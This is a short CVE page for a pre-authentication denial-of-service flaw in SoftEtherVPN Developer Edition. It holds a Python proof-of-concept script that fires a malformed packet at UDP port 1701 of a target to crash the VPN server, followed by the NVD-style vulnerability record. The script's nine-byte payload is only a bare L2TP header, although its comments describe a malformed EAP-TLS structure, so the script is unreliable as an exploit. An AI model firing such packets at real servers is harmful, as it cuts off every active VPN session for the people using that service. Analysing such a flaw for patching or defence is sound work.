CVE-2026-39312

import socket # PoC for CVE-2026-39312 # Target: SoftEtherVPN Developer Edition <= 5.2.5188 # Vulnerability: Pre-authentication DoS via malformed EAP-TLS packet over raw L2TP # Port: UDP/1701 target_ip = "TARGET_IP" target_port = 1701 # Constructing a malformed L2TP packet header # Standard L2TP header: Flags (2 bytes) | Tunnel ID (2 bytes) | Session ID (2 bytes) | Ns (2 bytes) | Nr (2 bytes) # This payload attempts to simulate a malformed EAP-TLS structure inside L2TP payload = bytes.fromhex("C80200000000000000") try: print(f"[*] Sending malformed packet to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) sock.close() print("[+] Packet sent. Check if the VPN server crashed.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-39312", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:36.920", "lastModified": "2026-04-14T20:08:38.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SoftEtherVPN is a an open-source cross-platform multi-protocol VPN Program. In 5.2.5188 and earlier, a pre-authentication denial-of-service vulnerability exists in SoftEther VPN Developer Edition 5.2.5188 (and likely earlier versions of Developer Edition). An unauthenticated remote attacker can crash the vpnserver process by sending a single malformed EAP-TLS packet over raw L2TP (UDP/1701), terminating all active VPN sessions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:softether:softethervpn:*:*:*:*:developer:*:*:*", "versionEndIncluding": "5.2.5188", "matchCriteriaId": "7D5C3C6C-8D81-408B-9187-D1FF3D115622"}]}]}], "references": [{"url": "https://github.com/SoftEtherVPN/SoftEtherVPN/security/advisories/GHSA-q5g3-qhc6-pr3h", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/SoftEtherVPN/SoftEtherVPN/security/advisories/GHSA-q5g3-qhc6-pr3h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}